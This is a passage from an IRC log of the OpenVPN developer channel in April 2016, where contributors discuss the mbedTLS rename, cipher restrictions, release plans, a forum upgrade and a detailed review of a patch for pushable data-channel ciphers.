this out tomorrow 19:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 19:58 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:58 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Mon Apr 18 2016 02:05 <@syzzer> hrmpf... 02:05 <@syzzer> if needed, I can look at it tonight (no access to the machine with the patches now) 02:14 <@cron2_> nah 04:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 06:02 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 06:06 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: sigterm] 06:07 -!- woodrow_ is now known as woodrow 08:21 -!- You're now known as ecrist 08:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:46 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:58 <@vpnHelper> RSS Update - gitrepo: Further restrict default cipher list <https://github.com/OpenVPN/openvpn/commit/a44eac2bf47416b35609c37b10eb803dd61945ed> 11:51 <@cron2_> syzzer: ecrist will hate you :) 11:56 <@ecrist> uh oh 11:57 <@ecrist> what am I going to hate? 12:06 <@cron2_> --with-crypto-library=polarssl is called ...=embedtls in the new regime (as soon as someone ACKs it) 12:21 <@ecrist> neato 12:47 <@syzzer> yes, maintainers will hate me (or the mbed guys ;) ) for that patch... 12:47 <@cron2_> let's agree to hate the mbed guys :) 12:48 <@cron2_> (why can't we just go on and call it polarssl, just to show them how silly library renaming is? *duck*) 12:49 <@syzzer> haha, yes, I considered that, but then I realised how often we'd need to explain why we call mbedtls polarssl... 12:50 <@cron2_> yeah... "where can I find polarssl 2.2.x?" 12:54 <@syzzer> cron2_: uh-oh, the Changes.rst entry for release/2.3 is not correct... 12:56 <@syzzer> 2.3 did not do any restricting previously, and actually didn't get what it now says it got (master gets the disable dss and non-ephemeral kex on top of what release/2.3 now has) 12:56 <@syzzer> ie, master is stricter than release/2.3 13:21 <@cron2_> uh 13:21 <@cron2_> please send fixed text :) 13:21 <@syzzer> ok :) 13:21 <@cron2_> I copied the bit from the master patch, as the 2.3 v2 did not have a changes.rst change... 13:26 <@syzzer> patch on the list 13:30 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 13:30 -!- s7r_ is now known as s7r 13:31 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 13:31 -!- mode/#openvpn-devel [+o cron2] by ChanServ 13:31 <@cron2> hrmph, did you see my hardware rant? 13:31 <@syzzer> hahaha 13:37 <@cron2> not funny... I spent some 5 hours last thursday to make dual-head X11 work *at all*... 13:38 <@cron2> "opening google+ in chrome and then mousewheel-scrolling" seems to be a very good way to cause pain... 13:42 <@syzzer> ai, that indeed does not sound funny at all :( 14:49 <@vpnHelper> RSS Update - gitrepo: Support reading the challenge-response from console <https://github.com/OpenVPN/openvpn/commit/9b0f1df2560441ab5ea80f053acd0161de8b6c7a> 19:47 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: sigterm] 19:47 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Tue Apr 19 2016 09:08 <@vpnHelper> RSS Update - tickets: #675: tls_digest alternative with stronger hash <https://community.openvpn.net/openvpn/ticket/675> 09:47 <@ecrist> cron2: you still have problems with multi-monitor in X? 09:47 * ecrist running 3 x 22" 1920x1280 on RHEL7.2 09:48 <@cron2> ecrist: the point isn't so much multi-monitor but "intel 6gen graphics drivers" 09:48 <@ecrist> oh 09:48 <@ecrist> I used the easy-button for that. Nvidia 09:48 <@cron2> two different acceleration architectures inside, one works but is missing features, the other one can do all I want, but crashes the machine, hard 09:49 <@ecrist> bad if you're building a flight simulator 09:50 <@cron2> the intel chipset in the NUC can only do two monitors anyway :) 09:51 <@cron2> but very annoying if you just want to *work* on that box, right... and when you google, you find quite a bit of "it does not work" (display errors, crashes, weird flickering, ...) 09:51 <@cron2> nvidia is what I had before, but there are no real "small behind-the-monitor boxes" with nvidia chipset and little noise today 09:52 <@ecrist> get a mac mini. :) 09:53 <@cron2> the current ones all have intel graphics, no? 09:53 <@cron2> (or AMD, which is worst of all worlds) 09:57 <@ecrist> cron2: you just use OS X then. that's the point 09:58 <@ecrist> the current generation uses AMD, yes 10:00 <@cron2> ecrist: I could do that, and I even considered buying a MacBook Pro for my next laptop... (which I decided against since they insist on doing glossy screens *only*) 10:00 <@ecrist> cron2: you should have done it. the glossy screen isn't as bad as you think 10:01 <@ecrist> I really enjoy having a unix box that "just works" 10:01 <@ecrist> games, tool, etc. 10:01 <@cron2> it is exactly as bad as I think :-) - my wife has one, and if you can't control the positioning of lights around you (like "sitting in a train") my non-glossy sony laptop screen is soooooo much nicer to work with 10:02 <@cron2> there's a few things in MacOS that annoy me, and "click to focus" is one of them - which cannot be changed, unfortunately. 10:02 <@ecrist> heh - I have mouse-over focus 10:02 <@cron2> I have a Mac at work, and I'm reasonably ok with it, but it's not "perfect!" yet, for me at least.... 10:02 <@ecrist> s/have/hate/ 10:03 <@cron2> it should be a matter of personal taste, not "the OS forcing this on me" 10:03 <@ecrist> did you see http://coderage-software.com/zooom 10:03 <@vpnHelper> Title: Zooom/2: Window management for your Mac made easy (at coderage-software.com) 10:06 <@cron2> yeah, right, latest news: compatible with 10.10... 10:06 <@cron2> and I don't actually *want* my windows raised when they have focus (or when the mouse is over them) 10:07 <@cron2> I quite frequently type stuff into a windows I only see a few lines of, when copying over stuff from something like a web browser I need to see in full... 10:07 <@ecrist> heh, you're hard to please. 10:08 <@cron2> no, it's *really* easy. Focus where the mouse is, never rearrange windows unless I click on it 10:15 <@ecrist> but what about the menu bar in macos, then? 10:15 <@ecrist> that follows the application 10:15 <@ecrist> so, it will change X times as you move up to the menu bar, X being the number of different windows in the path 10:42 <@cron2> ecrist: right :-) - and this is why MacOS isn't perfect 10:43 <@cron2> (for me, at least) 10:43 * cron2 uses fvwm2 on linux, and avoids all the newfangled gnome, kde, ... crap 10:57 <@ecrist> what sorts of problems have you had with fvwm2? 10:58 <@ecrist> I've been trying to find a very basic window manager 12:36 < chutzpah> openbox is more popular if you want a traditional wm, you could also play with i3, awesome or herbstluftwm if you want to try tiling 13:04 <@mattock> gnome 3 is really nice nowadays 13:19 < chutzpah> i moved to xfce4 years ago and haven't looked back 13:41 <@cron2> ecrist: no problems with fvwm2, which is why I'm using it 16:03 * cron2 hates computers 17:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ 20:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 23:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:29 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Wed Apr 20 2016 03:47 <@d12fk> cron2: will your push-suppress-ipv6 get into master ever? 03:47 <@d12fk> or is it just a metter of review? 03:48 <@d12fk> i think it is uesful for us, i.e. when the pool has an ipv6 range, but no ipv6 route are pushed. in this case tehre's no need to assign an ipv6 address from the pool. 03:56 <@cron2> d12fk: I've reworked the feature to call it "push-remove" and make it possible to remove arbitrary stuff from the to-be-pushed-list, but plaisthos didn't like it - so it's waiting for a v3. Should be doing this ASAP, like "tonight" :-) 04:01 <@d12fk> ok 04:50 <@vpnHelper> RSS Update - tickets: #676: Variables route_net_gateway and route_vpn_gateway not set on server in topology subnet <https://community.openvpn.net/openvpn/ticket/676> 19:38 * ecrist works on breaking the forums 20:11 <@ecrist> ping mattock 20:57 * ecrist gives 'er hell 21:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] --- Day changed Thu Apr 21 2016 01:28 <@mattock> oh hi ecrist 01:48 <@mattock> one more day of fighting with tap-windows6 signatures, then all should be in order :P 01:48 <@mattock> anything queued for a new OpenVPN 2.3.x release btw? 02:22 <@syzzer> I think we should try to get 2.3.11 out soonish 02:22 <@syzzer> still needs some patches reviewed and applied though 03:24 * cron2 agrees with syzzer on both points :) 04:00 <@cron2> syzzer: the auth-pam patch - I assume that is master and 2.3, right? 04:06 <@syzzer> cron2: yes 06:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:41 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:01 <@ecrist> mattock: I sent you an email last night 07:42 <@mattock> yeah, noticed and responded 07:47 <@ecrist> I haven't gotten to the phpBB update yet, but am hoping to get that done today. the upgrade to 10.3 went smoothly. 07:48 <@mattock> ok 07:48 <@mattock> what new stuff can we expect in the new phpbb? 07:48 <@ecrist> It's an upgrade from 3.0 to 3.1 07:49 <@ecrist> we're pretty far behind at this point. 07:50 <@ecrist> https://www.phpbb.com/about/launch/ 07:50 <@vpnHelper> Title: phpBB Free and Open Source Forum Software (at www.phpbb.com) 07:50 <@mattock> ah 07:51 <@mattock> "Unmatched Security" 07:51 <@ecrist> what could go wrong? 07:51 <@ecrist> ;) 07:51 <@mattock> interesting if that claim is true 07:51 <@mattock> yeah :) 07:52 <@mattock> phpbb seems quite messy, so I would have guessed it has the most security issues 07:52 <@ecrist> my biggest concern is the upgrade will likely bork our theme a bit 07:52 <@mattock> perhaps it's "security by obscurity (of code)" :D 07:52 <@mattock> yeah, quite likely 07:52 <@mattock> I'll ask if somebody on our company channel could fix it up quickly if it gets borked 07:53 <@ecrist> ok, otherwise I planned on fighting through it 07:53 <@mattock> I can't recall if the phpbb theme was hacked together by novaflash or our web guy 07:54 <@mattock> I asked about just a sec ago 07:54 <@ecrist> I think it was your web guy 07:54 <@mattock> yeah, could have been 07:54 <@ecrist> it was done prior to novaflash, iirc 07:54 <@mattock> yeah, you're probably right 10:38 <@cron2> mmh, that was not very painful... so far (moved SSD from NUC6 to used NUC5, boots, X11 works, no issues yet) 12:11 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 12:16 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 12:16 -!- mode/#openvpn-devel [+o dazo] by ChanServ 12:19 -!- Netsplit *.net <-> *.split quits: @plaisthos 12:53 <@vpnHelper> RSS Update - gitrepo: Fix buffer overflow by user supplied data <https://github.com/OpenVPN/openvpn/commit/7c0ecd1191e66fa242708f93baa4006ba0a73c7a> 15:23 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 15:36 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 15:36 -!- mode/#openvpn-devel [+v janjust] by ChanServ 15:36 <+janjust> yo all, I just did my best to submit a patch ;) 15:39 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 15:39 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:46 <@syzzer> janjust: cool 15:46 <@syzzer> doe this work with max size packets too? 15:46 <@syzzer> my first attempt dropped those... 15:47 <+janjust> err, I did not test that - how can I test? 15:47 <@syzzer> ping -s 1500 (or something like that) 15:47 <+janjust> ow well doh... did not test that yet. hang on 15:48 <+janjust> yep works here 15:48 <+janjust> I'm getting replay-window errors but other than that it works 15:49 <+janjust> iperf works :) 15:50 <@syzzer> ok, nice, let's see what you did differently than 15:50 <@syzzer> yeah, that worked for me too iirc, because of mssfix 15:50 <@syzzer> there were some global variables and buffer sizes that caused me trouble 15:51 <+janjust> hmmm I may have missed a buffer size 15:51 <+janjust> it's all about resize some buffers for the new crypto parameters 15:52 <@syzzer> what does your config look like? (ie what is the default cipher, and what do you push?) 15:52 <+janjust> proto udp 15:52 <+janjust> port 1194 15:52 <+janjust> dev tun 15:52 <+janjust> server 10.222.0.0 255.255.255.0 15:52 <+janjust> #tls-auth /etc/openvpn/cookbook/ta.key 0 15:52 <+janjust> dh /etc/openvpn/cookbook/dh2048.pem 15:52 <+janjust> ca /etc/openvpn/cookbook/ca.crt 15:52 <+janjust> cert /etc/openvpn/cookbook/server.crt 15:52 <+janjust> key /etc/openvpn/cookbook/server.key 15:52 <+janjust> persist-key 15:52 <+janjust> persist-tun 15:52 <+janjust> keepalive 10 60 15:52 <+janjust> topology subnet 15:52 <+janjust> user nobody 15:52 <+janjust> group nobody 15:53 <+janjust> push "cipher aes-256-cbc" 15:53 <+janjust> cipher aes-256-cbc 15:53 <+janjust> client: 15:54 <+janjust> client 15:54 <+janjust> proto udp 15:54 <+janjust> remote A.B.C.D 15:54 <+janjust> port 1194 15:54 <+janjust> dev tun 15:54 <+janjust> nobind 15:54 <+janjust> remote-cert-tls server 15:54 <+janjust> ca /etc/openvpn/cookbook/ca.crt 15:54 <+janjust> cert /etc/openvpn/cookbook/client1.crt 15:54 <+janjust> key /etc/openvpn/cookbook/client1.key 15:56 <@syzzer> Ah, yes, I see, you just reallocate everything: 15:56 <@syzzer> + /* Reallocate the context buffers to adjust for the new frame size */ 15:56 <@syzzer> + free_context_buffers (c->c2.buffers); 15:56 <@syzzer> + do_init_buffers(c); 15:57 <+janjust> that was the safest thing to do 15:57 <+janjust> it's half a renegotiation, basically 15:57 <@syzzer> nice, that might be sufficient for client side actually 15:58 <@syzzer> server side is going to be *much* trickier 15:58 <+janjust> we can abuse this method to negotiate ciphers too 15:58 <+janjust> how would you push a new cipher to the server? 15:58 <@syzzer> yes, this is somewhat like James negotiates ciphers 15:59 <@syzzer> currently we have 'if the client sends IV_NCP=2, the server is allowed to push 'cipher AES-128-GCM' or 'cipher AES-256-GCM' 15:59 <+janjust> I can foresee something like: "cipher aes-256-cbc:aes-128-cbc:bf-cbc" as allowed list of ciphers and you then use some push/pull magic to negotiate a common cipher 16:00 <@syzzer> yes, I think that is indeed the way to go 16:00 <+janjust> I didn't test it with GCM ciphers... and the tls-auth+auth "bug" worries me 16:00 <@syzzer> but at the server side you'll have to be much more cautious with the buffers, since you'll probably want to support multiple ciphers for me 16:00 <@syzzer> is this patch for master or 2.3? 16:00 <+janjust> master 16:01 <+janjust> but I originally wrote it on 2.3.10 16:01 <@syzzer> because in master, the tls-auth cipher should already be separated 16:01 <@syzzer> that was part of my aes-gcm patches, iirc 16:02 <+janjust> hmmm I just built a client against master and it did not like "push auth sha512" + tls-auth 16:02 <@syzzer> ok, maybe you call a function that reinitialized it anyway 16:02 <+janjust> I think the problem is in the actual protocol: when using tls-auth all incoming packets are signed using an HMAC: anything signed with the wrong HMAC is rejected. hence you're getting past the initial handshake 16:03 <+janjust> *not* getting past the handshake 16:03 <@syzzer> well, the tls-auth hmac should be just what's in the config file, and never change 16:03 <@syzzer> it can't be pushable 16:03 <@syzzer> only the data channel hmac should change 16:05 <@syzzer> (I get some whitespace errors btw, but otherwise the patch applies just fine) 16:05 <+janjust> ah but wait, my *server* was based on 2.3.10 16:05 <+janjust> perhaps the separation is not done there 16:06 <@syzzer> ah, yes 16:06 <@syzzer> oh, doh, of course, --auth should *always* match when using tls-auth, indeed 16:07 <@syzzer> because it is used for both tls-auth and data channel auth 16:07 <@syzzer> and this patch does not actually negotiate serverside 16:07 <+janjust> yes , as it should be - you want to protect both control and data channels 16:07 <+janjust> nope, it just allows for a push :) 16:07 <@syzzer> yes, makes sense 16:07 <@syzzer> so GCM would work, because its an AEAD cipher 16:08 <@syzzer> it might make sense to have a separate tls-auth algo option 16:08 <@syzzer> but that's future stuff 16:09 <@syzzer> actually, we might skip that all together :p 16:09 <@syzzer> I'm working on tls-crypt 16:09 <+janjust> hmm that's a protocol change *and* you'll need to separate incoming pakcets between control and data channel - how do you distinguish them? 16:10 <@syzzer> tls-crypt or a separate tls-auth algo type/ 16:10 <+janjust> or use sctp ;) 16:10 <@syzzer> for tls-auth, you'll distinguish based on opcode 16:11 <@syzzer> data channel opcodes -> whatever was negotiated, control channel opcodes -> what the config says 16:11 <+janjust> hmm, future stuff... it would put some extra load on the server as you could be processing some incoming DoS stuff 16:11 <@syzzer> hmm, why would that be? 16:12 <+janjust> how is each packet encrypted? is the opcode inside or outside the envelope? 16:12 <@syzzer> we do the same thing right now, we would just use a different algo for data channel packets 16:12 <@syzzer> opcode is plain text (not even authenticated in the 'old' protocol) 16:12 <+janjust> ah then it would not be too burdensome on the server 16:12 <@syzzer> nope 16:13 <+janjust> lemme test aes256-gcm 16:13 <@syzzer> I've been trying to do both client and serverside support at once, but your approach makes much more sense 16:13 <@syzzer> just get the client to work first 16:13 <+janjust> "approach" == "never thought of changing ciphers on the server" :) 16:14 <+janjust> but in order to support multiple ciphers on the server you'd need to ensure that each client (connection) has its own encryption "state" 16:14 <@syzzer> yes, indeed 16:14 <+janjust> not a single tls object like we do now 16:14 <@syzzer> I already have patches for that 16:16 <+janjust> cool.... can you support CCD file ciphers? 16:17 <@syzzer> yes, but I didn't manage to get all the buffers right 16:17 <@syzzer> large packets got dropped 16:18 <+janjust> there's some wicked stuff going on in do_init_buffers() 16:20 <@syzzer> yes, there is some really wicked stuff indeed 16:21 <@syzzer> the codebase sometimes feels like on the verge of brilliant and insane :p 16:21 <+janjust> *grin* 16:22 <@syzzer> I think I have some improvements based on my own attempts, but at first sight I really like the patch 16:22 <+janjust> thx 16:23 <@syzzer> the 'Thu Apr 21 23:19:39 2016 Authenticate/Decrypt packet error: packet HMAC authentication failed' untill nego succeeded for example 16:23 <+janjust> rebuilding openvpn to include gcm support is taking longer than I expected 16:23 <@syzzer> you'll get those because the connection brought up too early 16:26 <@syzzer> why the 16:26 <@syzzer> @@ -2342,10 +2359,6 @@ do_init_crypto_tls (struct context *c, const unsigned int flags) 16:26 <@syzzer> #endif 16:26 <@syzzer> #endif 16:26 <@syzzer> -#ifdef USE_COMP 16:26 <@syzzer> - to.comp_options = options->comp; 16:26 <@syzzer> -#endif 16:27 <+janjust> err that may be a copy paste error when moving code around in init.c 16:27 <+janjust> it was in the original init.c I think 16:30 <@syzzer> (also, seems you configured your editor with a tab with of 4 spaces, instead of the 8 that the codebase uses) 16:30 <+janjust> I must be missing a gcm patch - even when building and linking against openssl 1.0.2d I am not seeing gcm ciphers 16:30 <+janjust> you're right - my vi has ts=4 by default - I knew I'd get in trouble ;) 16:30 <@syzzer> you might nu to rerun autoreconf -vi 16:31 <@syzzer> the configure needs to the HAVE_AEAD_CIPHERS (or something like that) 16:31 <@syzzer> if you didn't run autoconf, your configure won't set the define 16:32 <+janjust> just did that - nothing AEAD in configure 16:33 <@syzzer> it's not an option, it just autodetects 16:33 <+janjust> not even in configure.ac 16:33 <@syzzer> hmm 16:33 <@syzzer> you're sure you are on the must recent master/ 16:33 <+janjust> git status says I am... but let me fetch the code once more 16:35 <+janjust> alright, configure.ac was updated; rebuilding now 16:36 <+janjust> got it 16:38 <+janjust> great, now my *client* is missing gcm support - hang on 16:42 <+janjust> oke, this is not correct: the link-mtu is not the same on both sides 16:42 <+janjust> I've missed something 16:44 <@syzzer> ah, yes, that's because of the AEAD cipher 16:44 <+janjust> there's a 3 byte mismatch 16:44 <+janjust> what did I miss? 16:45 <@syzzer> at one side, (the one that has no AEAD cipher as default), you'll calculate the HMAC into the link-mtu 16:45 <@syzzer> while at the other side, you won't 16:45 <@syzzer> 3? my log has a bigger difference: Thu Apr 21 23:19:39 2016 WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1537', remote='link-mtu 1549' 16:46 <+janjust> WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1537', remote='link-mtu 1534' 16:46 <+janjust> probably depends on the HMAC 16:48 <@syzzer> ok, so, looking at the patch I'm wondering, are your sure the memory in c->c2.buffers is never used anymore after the free_context_buffers (c->c2.buffers) call? 16:48 <+janjust> do_init_buffers does this: 2779 do_init_buffers (struct context *c) 16:48 <+janjust> 2780 { 16:48 <+janjust> 2781 c->c2.buffers = init_context_buffers (&c->c2.frame); 16:48 <+janjust> 2782 c->c2.buffers_owned = true; 16:48 <+janjust> 2783 } 16:49 <+janjust> so do_init_buffers assigns new buffers 16:49 <@syzzer> yes, but it malloc()s them, right/ 16:49 <@syzzer> is there nobody else with a pointer to the old buffers? 16:49 <@syzzer> because that could get ugly 16:50 <+janjust> can't rule that out 16:50 <+janjust> but it would be **bad** coding - as free_context_buffers calls 'free_buf' on all of them 17:09 <+janjust> alright, can't figure this one out for now - I am not calculating the hmac into the link mtu 17:09 <+janjust> 2779 do_init_buffers (struct context *c) 17:09 <+janjust> 2780 { 17:09 <+janjust> 2781 c->c2.buffers = init_context_buffers (&c->c2.frame); 17:09 <+janjust> 2782 c->c2.buffers_owned = true; 17:09 <+janjust> 2783 } 17:09 <+janjust> oops: I meant: 17:09 <+janjust> 1921 /* Recalculate MTU parameters */ 17:09 <+janjust> 1922 frame_add_to_extra_frame(&c->c2.frame, kt->cipher_length + kt->hmac_length - old_crypto_length); 17:09 <+janjust> 1923 frame_add_to_link_mtu(&c->c2.frame, kt->cipher_length + kt->hmac_length - old_crypto_length); 17:09 <+janjust> 1924 17:10 <@syzzer> hm, but what is cipher_length? 17:10 <@syzzer> the block length/ 17:10 <+janjust> 32 17:10 <+janjust> aes-256-gcm 17:10 <@syzzer> ah, the key length 17:10 <@syzzer> ok, that is not right 17:10 <@syzzer> what you need is the block size + iv size 17:11 <@syzzer> see crypto_adjust_frame_parameters() 17:12 <+janjust> but I'm calling that 17:12 <+janjust> and I read crypto.c init_key_type() to see where the crypto_length came from 17:13 <+janjust> err, cipher_length 17:14 <@syzzer> where do you call crypto_adjust_frame_parameters()? 17:15 <+janjust> hmmm I just see that I only call that when a tls-auth file is used :( 17:15 <+janjust> (as in the original 2.3.10 init.c code) 17:16 <@syzzer> ah 17:17 <@syzzer> it's getting late, I think I'll call it a day 17:17 <+janjust> same here 17:17 <+janjust> my patch needs work , thanks to your GCM stuff ;) 17:17 <@syzzer> haha, sorry :p 17:18 <@syzzer> (although I don't think the +3 is related to the GCM stuff, but to peer-id ;) ) 17:18 <+janjust> most likely 17:19 <@syzzer> anyway, good night! 17:19 <+janjust> same to you! 17:22 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 19:11 <@ecrist> ping mattock 19:12 <@ecrist> https://www.phpbb.com/support/docs/en/3.1/ug/upgradeguide/upgrade3/ 19:12 <@vpnHelper> Title: phpBB 3.1 User Guide (at www.phpbb.com) 22:50 <@ecrist> well, the forum is upgraded, and I've rebuilt much of the former style --- Day changed Fri Apr 22 2016 01:17 <@mattock> hi ecrist! 01:17 <@mattock> I'll have a look 01:18 <@mattock> ecrist: I think the forums look much nicer now 01:35 <@cron2> syzzer, janjust: +3 is very likely peer-id, indeed 01:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 01:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o raidz] by ChanServ 01:42 <@cron2> hell is that thing fast... 01:43 <@cron2> SU dd if=/dev/nvme0n1p3 bs=1M count=10000 >/dev/null 01:43 <@cron2> 10485760000 bytes (10 GB) copied, 8.29194 s, 1.3 GB/s 06:41 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:41 -!- mode/#openvpn-devel [+v janjust] by ChanServ 06:41 <+janjust> ping dazo 06:41 <@dazo> janjust: pong 07:05 <@ecrist> mattock: good. I think I was able to sufficiently re-style it, so your web guy shouldn't be needed (unless I'm wrong) 07:19 <+janjust> hey mattock 07:19 <+janjust> yo ecrist, how's life 07:19 <@ecrist> good, you? 07:20 <+janjust> busy but otherwise good 07:21 <@ecrist> How is your book revision going? 07:21 <+janjust> mattock here? I'm looking for people experienced with and/or interested in building "branded" clients 07:21 <+janjust> too slow again ;) 07:21 <@ecrist> heh, mine too 07:21 <+janjust> did you decide to do the troubleshooting one? 07:21 <@ecrist> yeah 07:21 <+janjust> ah cool 07:21 <@ecrist> my wife conned me into it 07:22 <+janjust> lol 07:22 <+janjust> "we need the extra cash" 07:22 <+janjust> "timmy can finally get his medication" 07:22 <@ecrist> heh 07:23 <@ecrist> More along the lines of calling me a wimp for NOT doing it 07:23 <+janjust> heh that would work better 07:24 <@ecrist> like the other one, it sounded easier to write before I actually started doing it 07:27 <+janjust> same here: I thought a book update would be a breeze 07:27 <+janjust> but I've been busy with too many other things to find good inspiration 07:28 <@ecrist> I got a picture of my editor the other day: http://freedomoutpost.com/wp-content/uploads/2013/04/Indiana-Jones-whip.jpg 08:03 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:18 <@ecrist> mattock: http://forums.openvpn.net/viewtopic.php?f=30&t=21589 10:18 <@vpnHelper> Title: New BB Code [oconf] for OpenVPN config parsing. - OpenVPN Support Forum (at forums.openvpn.net) 13:08 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 250 seconds] 13:08 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:42 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 13:42 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:42 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 14:32 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:32 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:44 -!- Irssi: #openvpn-devel: Total of 25 nicks [9 ops, 0 halfops, 0 voices, 16 normal] --- Day changed Sun Apr 24 2016 06:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 06:36 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:36 -!- mode/#openvpn-devel [+o andj] by ChanServ 07:20 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:20 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon Apr 25 2016 03:43 <@syzzer> reators: how's the ntlm patch going? ;) 06:47 < reators> @syzzer: No time for it currently, but we want to work on it in the near future (this spring/summer). --- Day changed Tue Apr 26 2016 12:13 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 12:15 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Wed Apr 27 2016 01:45 <@cron2> eerily silent... 01:50 < n13l> hey all! i've just posted trivial bugfix to openvpn-devel mailing list 01:53 < n13l> i have been looking at the lastest patch in that code and malloc/free few bytes valid in single and small block seems like kind of waste 01:55 <@cron2> well, then send a patch that does not need a variable-length array *and* does not need a gc_malloc - but since you had the gc_arena around anyway, gc_malloc() isn't very expensive 01:56 <@cron2> and yes, thanks for the patch. Silly person who ACKed the but-introducing c99 fix (me) 01:56 <@cron2> gut 01:56 <@cron2> bug 01:56 <@cron2> grrr, fingers not awake 01:56 < n13l> ;-) 01:56 < n13l> im also actually sleepy ! :-)) 01:56 <@cron2> I'll apply that tonight, need to get paid-for work done now 02:00 < n13l> Thanks ;-) 03:17 < brendanrius> Hi everyone, I created my OpenVPN access server and it works perfectly on desktop 03:18 < brendanrius> I installed OpenVPN connect on iOS 9.1: I can successfully connect to the VPN, but then Internet hangs 03:18 < brendanrius> Not a DNS problem since I cannot access IP addresses directly 03:19 < brendanrius> I can see from the OpenVPN admin dashboard that I am really connected. It just hangs and after a while stops 03:19 < brendanrius> Anyone experiencing a similar problem? 03:20 <@dazo> brendanrius: you probably need to go to #openvpn-as ... this channel is for developers of the community version of OpenVPN 03:20 <@dazo> !as 03:20 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server 03:21 < brendanrius> I will go there then thanks 03:28 <@cron2> unfortunately #openvpn-as is fairly dead... :( 03:28 <@cron2> openvpn tech support 03:29 < brendanrius> :( 03:32 <@cron2> as AS is a commercial product, there's a support group - which works, but they don't do IRC these days 06:10 <@cron2> phew, I'll be busy all evening merging what plaisthos acked today... 06:11 <@cron2> (and interestingly enough, one of Lev's mails never made it here, but the ACK did...) 09:16 <@dazo> cron2: I experienced last week that my e-mail address was temporarily postponed for the -devel ML (not -users) due to "too many bounces" ... I didn't notice in a while, so I was missing roughly 1 week of mails 10:43 <@ecrist> so, I have weekly development source code snapshots going all the way back to 2010 10:43 <@ecrist> I think it's safe for me to remove some of those 10:43 <@ecrist> 434M of them 10:49 <@cron2> what's 434M among friends... you'll be hard pressed to buy a USB stick with less than 1G capacity 10:55 <@ecrist> It's 5% of the storage I have on a VM 12:09 <@cron2> so sufficient for some 50 more years 12:32 <@ecrist> Not too sure I need to even keep them, though 12:46 <@cron2> uh 12:46 <@cron2> syzzer: are you around? 12:46 <@cron2> your embedtls patch totally does not apply to head of master 12:48 <@cron2> 1 reject in configure.ac, 1 reject in options.c, 5 in ssl_verify_polarssl.c... 13:07 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 13:09 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:12 <@vpnHelper> RSS Update - gitrepo: Fix buffer size parameter for exported keying material. <https://github.com/OpenVPN/openvpn/commit/13a882ae39efb7144d9a9c5ac61100b1e27b1003> 13:20 <@cron2> mattock: are you there? 13:23 <@vpnHelper> RSS Update - gitrepo: Fix "implicit declaration" compiler warning <https://github.com/OpenVPN/openvpn/commit/4e37af92f5729cc29e5abdc873bac529c5a42ef9> 13:43 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 13:44 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:44 -!- mode/#openvpn-devel [+o andj] by 